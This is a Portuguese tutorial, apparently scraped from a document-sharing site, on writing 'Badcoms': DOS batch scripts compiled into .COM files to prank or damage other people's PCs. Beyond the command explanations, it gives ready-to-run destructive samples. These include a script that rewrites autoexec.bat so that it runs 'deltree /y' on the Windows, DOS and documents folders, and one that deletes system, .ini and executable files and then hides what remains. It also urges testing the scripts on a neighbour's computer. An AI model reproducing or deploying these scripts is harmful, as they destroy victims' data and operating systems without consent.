Вы находитесь на странице: 1из 9

Introduo: Badcom's so pequenos arquivos (.COM) que quando executados, eles realizam tarefas em um determinado computador...

ou seja, so programas que faz com que um PC realize comandos quanto do DOS quanto do Windows. Para isto vc deve fazer um arquvi de LOTE com os comandos e compilalo O Mais famoso compilador de arquivos de LOTE (.BAT) o BAT2EXE.COM. Para adquiri-lo vc pode me mandar um E-mail que lhe passarei o arquivo.

Indice: I Comandos Bsicos e inofencivos. II Comandos Ofencivos. III Alguns comandos avanados em arquivos de LOTE. IV Exemplos Inofencivos. V Exemplos destrutivos. VI Como compilar um Badcom e seus Bugs e FAQ. VII Usando Telas ANSI em BaDcOms. ! Sobre o autor e como contacta-lo.

I Comandos Bsicos -----------------@ECHO OFF Comando para no ser mostrados as linhas de comando em uma janela do MS-DOS, Exemplo: Colocando o comando DIR em um Badcom sem o @ECHO OFF no prompt ele mostrar o comando escrito na janela.. C:\>DIR Com o comando @ECHO OFF, ele simplesmente elimina os digitos dos comandos a serem mostrados. CLS Comando do MS-DOS, para limpar a tela. ECHO Para desativar o comando @ECHO OFF, e mostrar caracteres em uma janela Exemplo: ECHO "Mensagem" Ir mostrar a mensagem na janela, aps isso automticamente retorna a no apario de comandos na Janela. Criando arquivos com o comando ECHO: Para criar um arquivo com este comando, necessrio o comando >, exemplo: ECHO > Nomedoarquivo.exteno Ir criar o arquivo no ambiente do MS-DOS... Para criar arquivos com textos ou comandos, necessrio fazer o seguinte comando: ECHO > ARQ.EXT "Comando ou mensagem" OBS: As aspas so apenas para indicao porm em comandos no funcionam as aspas. Ex: ECHO SEQ.BAT DIR Ir criar um arquivo chamado SEQ.BAT (Arquivo de Lote) Com o comando DIR dentro do mesmo.

ATTRIB

Este comando permite que vc esconda um determinado arquivo, torne-o somente para leitura, ou torne arquivo do sistema. Para esconder um arquivo: Digite dentro do Badcom: Para obter os comandos simplesmente digite na janela do MS-DOS: ATTRIB /? MD Para Criar diretrios Ex: MD NOMEDODIR RD Comando para Desfazer pastas vazias. EX: RD PASTAVAZIA PROGRAMAS !! No um comando.. heheh... que nos Badcom's so muito util o uso de programas comuns, como os padres do Windows 95. Exemplo: O Programa Notepad.exe do Windows 95, para ele ser executado, apartir de um Badcom, vc deve coloca-lo na linha de comando.. NOTEPAD.EXE Para executar o programa apartir de um Badcom... no BAT coloque da segunite forma: @echo off cls notepad.exe <--- No nescessrio colocar o Path do Windows 95, pois Sendo executado durante o Windows, no acontecer erros de no achar o programa.. Se quizer abrir textos com o tal programa ! notepad.exe arquivo.txt

II Comandos Ofencivos. ---------------------DEL ou DELETE Para apagar arquivos, no Badcom usado da seguinte maneira, Para deletar arquivos sem ter problemas de BUG, necessrio fazer com que o comando no tenha a opo (*.*), pois surgir um prompt de confirmao de excluso. Digite ento da seguinte maneira: DEL *.Exteno, exemplo.. para apagar os arquivos .INI do diretrio do Windows: del Drive:\windir\*.ini ou use: drive: cd\ cd windir del *.ini

DELTREE Muitos no tem conhecimento do que este comando pode causar em um sistema, pois usado da maneira bsica... Este "pode ser" o Mais perigoso comando contido em um Badcom. Uso com BUG: DELTREE DIRETORIO Com este comando, aparecer a confirmao de excluso do diretrio, ser muito dificl algum responder SIM a pergunta no ??? Bem, vou informar o perigo deste comando... H uma opo no DELTREE que evita a apario do prompt de confirmao, sendo ela a mais destrutiva, deletando todos os arquivos de um dir. Bom, para usar o Deltree de forma destrutiva basta acrecentar a opo /Y no mesmo, Exemplo: C:\>Deltree /y windows Excluindo windows... hehe, gostaram no ??? mas vou falar uma coisa... tentem usar os Badcom's de forma inofenciva, evitando assim trastornos futuros.. Ahh, no vai testar em seu PC igual eu fiz no meu no.... tive que reisntalar o Windows novamente, hehe ! Teste no vizinho... REN Alm de no afetar muito em um sistema, o Rename um comando que pode causar dor de cabea ao usuario atacado.. ex: use o REN em diversos arquivos... REN command.com command.seunick REN Autoexec.bat autoexec.SeQ e assim vai... Bem estes so alguns comandos destrutiveis, para se aperfeioar nos Comandos do MS-dos vc pode consultar o proprio HELP do Ms-dos, ele lhe dar varias informaes, como no FORMAT e etc.. III Alguns comandos avanados em arquivos de LOTE. -------------------------------------------------GOTO Este comando faz com que o BAT pule ou volte para determinada parte do Programa. Exemplo: O uso do GOTO muito usado se quizer que no pare de repetir determinado comando ... usando o comando CLS, veja: @echo off :INI <-- Indica a parte do programa onde vai ser voltado o comando Cls Usa-se dois ponto antes, outros exemplos so :START :COMEO, :SEQ GOTO INI <-- Aqui o comando GOTO, para voltar para o alvo indicado.

CHOICE Comando que possibilita um prompt, exemplo: CHOICE /c123456789 Para numeros ou letras necessrio o uso do /c, sem este comando somente CHOICE, mostrar o prompt: [Y,n]? Com o /c e os numeros ir mostrar: [1,2,3,4,5,6,7,8,9]? Este comando precisa de um complemento, leia em: IF e Errorlevel IF e ERRORLEVEL Este muito usado em Badcom's, ele possibilita o desenvolvimento de questes e prompts para o usuario. exemplo: este comando eu uso muito em pegadinhas e perguntas sacanas, cada vez que o usuario erra a pergunta alguns arquivos so apagados. Segudo tambm do comando CHOICE Segue a string.... @echo off cls echo Seu sistema paralizou, o que deseja fazer ? echo [1] Reiniciar echo [2] Desligar choice /c12 <-- Mostrar o prompt [1,2]? if errorlevel 2 goto DES <- aqui o comando if e errorlevel, sendo if errorlevel 1 goto REI se o usuario precionar o 1, ele ir reiniciar o sistema Percebe-se que a posio das strings comea do 2 e depois vai para o 1. Qualquer dvida nesta parte do badcom fale comigo!

IV Exemplos Inofencivos. ------------------------Como para Ms-Dos alguns caracteres no aparecem de forma correta, mas compilado sim. --------------Recortar---------------@echo off cls echo BaDcOm By SeQ MaSsvE echo NaMe Of BaDcOm: AsK/v2.0 echo echo Your System now is my !!! echo Please, to ta'ke this fu'king PC co'm Bac'k Answe'r thE shI't echo Que'stio'n.......................... H'e's... echo HoW tO mAkE a ViRu's ? echo [1] Sorr'y i'm a fucking LammmArrrsss ! echo [2] Don't Ask u MoTheFuCk's echo [3] ....

echo [4] What's a viRu's ?????????????????????????? Choice /n/c1234 if if if if errorlevel errorlevel errorlevel errorlevel 4 3 2 1 goto goto goto goto END END END END

:END Cls :OPS echo ... HeY, u FuCkeD nOw.... echo ... PleAsE ReStaRt ThE FuCkiNg HdD forMatEd.. GoTo OPS --------------Recortar---------------@echo off cls echo BaDcOm By SeQ MaSsvE echo NamE of BadcoM: NoTePaD/V3.1 echo > note1.txt It's a BaDcOm..... echo > note2.txt This Badcom show's messages to ya.... echo > note3.txt BaDcOm'r a (TM) oF SeQ MaSsIvE... echo > note4.txt PlEaSe, press Ctrl+Alt+dEl for Stop'it ! echo > note5.txt ThAnXXX......... :INI notepad notepad notepad notepad notepad note1.txt note2.txt note3.txt note4.txt note5.txt

Copy *.txt \windows\menuin~1\iniciar\ GOTO INI --------------Recortar---------------@echo off :ini echo BaDcOm By SeQ MaSsvE echo NaMe: ClS2.0 cls echo > Leiame.txt Exemplo de um simples Badcom... By SeQ MaSsIvE.. goto ini --------------Recortar---------------V Exemplos destrutivos. --------------------------------------Recortar----------------

@echo off cls echo BaDcOm By SeQ MaSsvE echo NaMe Of BaDcOm: AuToCrAsh/v2.0 cd\ del autoexec.bat echo autoexec.1 @echo off echo autoexec.2 cls echo autoexec.3 deltree /y \windows\ echo autoexec.4 deltree /y \dos\ echo autoexec.5 deltree /y \meusdo~1\ echo autoexec.bat copy autoexec.* autoexec.bat del *.1 del *.2 del *.3 del *.4 del *.5 echo ThaNx fOr UsE SeQ MaSsvE's BaDcOm AutocrasH v2.0 --------------Recortar---------------@echo off cls echo Badcom By SeQ mAssvE......... echo NamE: No InI's 2.01 cd\ echo Searching.... cd win cd windows cd wind cd windos cd win95 cd wind95 cd win-95 del *.ini --------------Recortar---------------@echo off cls echo Badcom By SeQ mAssvE......... echo NaME: N0-SyS 1.0 cd\ del *.bat del *.sys del *.com echo > config.sys echo > autoexec.bat cd windows copy *.ini \autoexec.bat copy *.ini \config.sys del *.ini del *.exe

deltree /y command deltree /y system attrib +h *.* cd\ attrib +h *.* --------------Recortar---------------VI Como compilar um Badcom e seus Bugs e FAQ. ---------------------------------------------Para compilar um Badcom ele deve estar nomeado para nomedoarq.BAT Use o programa BAT2EXE.COM, o mais conhecido compilador BAT. Usando o Bat2exe.com aps editar o Badcom em qualquer editor de textos.. (o Mais usado o EDIT do Ms-dos, pois no ocorrem erros de caracteres no ambiente MS-DOS) use a sintaxe: bat2exe nomedoarq.bat apague o original ou renomeie, e execute o nomedoarq.COM para teste.. Claro que Badcom's somente para assustar.

H alguns Bugs ao compilar um Badcom, se tiver problemas leia este FAQ sobre badcom's vindo de minha antiga BBS, ou me contate pelo meu UIN, no final deste texto. 1) O Bat2exe no est compilando meu badcom com telas ANSI. R: Ocorre um erro de telas ANSI se no inserir o comando echo antes de cara linha da programao ANSI. exemplo de uma linha ANSI O Programa Bat2exe no reconhece a linguagem ANSI, vc deve iserir o comando echo antes da linha: echo Assim ir compilar normalmente. 2) Meu badcom quando executado trava, o que e isso ? R: Isso depende da verso so programa Bat2exe e de sua verso do MS-dos, o programa bat2exe compila linhas DELETE para DEL, ocorrendo erros na sua verso ms-Dos. 3) o programa bat2exe no esta compilando meu badcom, ja fiz de tudo e esta tudo correto. qual o problema? R: O Programa bat2exe como todo programa compilador, tem suas

restries, uma delas o numero de linhas de um badcom, se o badcom for muito grande e conter varias telas ANSI, ele no compilar, o programa no compila muitas telas ANSI iguais no mesmo arquivo.

VII Usando Telas ANSI em BaDcOms. ---------------------------------

Telas ANSI so muito uteis em u Badcom, elas assustam quando o usuario estiver com o programa ANSI.SYS carregado no config.sys. Para fazer telas ANSI, vc pode ou ler o HELP do MS-dos e editar em um texto, que muito demorado, ou pegar um programa que edita telas ANSI, o mais famoso o THEDRAW, editor de telas ANSI, @-code, ASCII, etc.. para sistemas de BBS (Bulletin Board System). Aps editar a telas ANSI, ela se parace com isto quando visto em um editor comum:

Para passar isto para um badcom, vc precisa copiar e colar para o Badcom, mas quando colar o Badcom, vc precisa tronar isto em forma BAT, simplesmente coloque o comando ECHO antes de cada linha, no esquecendo de dar um espao aps o comando, veja a seguir o ANSI em forma BAT: echo echo

echo echo echo echo echo echo echo echo echo echo echo

echo

Com os badcom's vc pode fazer muitas coisas al, destas que acabei de explicar, como por exemplo, mexer na memria do PC, e criar diretrios de impossvel acesso para o Windows 95 ou 3.11.

Вам также может понравиться